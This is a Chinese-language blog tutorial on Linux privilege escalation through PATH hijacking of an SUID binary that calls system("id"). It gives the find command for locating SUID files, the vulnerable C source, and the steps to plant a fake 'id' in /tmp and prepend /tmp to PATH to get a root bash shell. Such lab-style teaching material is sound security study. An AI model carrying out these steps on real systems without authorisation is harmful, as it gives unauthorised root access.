Linux提权之环境劫持

本文探讨如何通过发现具有SUID权限的文件,利用system函数劫持环境变量,将/tmp目录置于优先级,从而创建并执行一个以root权限运行的bash shell。重点在于理解权限控制和环境变量的利用技巧。
摘要由CSDN通过智能技术生成

前提

  1. 具有SUID权限的文件–>所以会root权限运行
  2. 文件内容是以root权限执行的system命令–>system函数会继承环境变量,所以可以修改环境变量劫持,而以root运行才能达到提权目的
  3. 能本地创建文件–>一般/tmp目录任何用户都可以读写

流程

  1. 查看具有SUID权限的文件(必须是二进制文件)
find / -perm -u=s -type f 2>/dev/null
  1. 发现一个shell文件,cat发现是以root权限执行id命令,当无法查看文件内容时可使用xxd /shell | grep id命令来fuzz一下
#include <stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);//run as root
system("id");
}
  1. 任意目录创建一个以id命名的文件文件(一般为tmp目录)
echo "/bin/bash" > id && chmod 777 id
cat id
/bin/bash
  1. 劫持环境变量
    echo $PATH //查看环境变量,发现以 :分割目录,且优先级从左往右
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
    export PATH=/tmp:$PATH // 将/tmp目录加在了最前面,所以执行命令时会优先去tmp目录中寻找,改为 . 表示将当前目录加入环境变量最前面

  2. 在回到刚刚的shell目录执行shell会发现得到了一个以root权限运行的bash。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值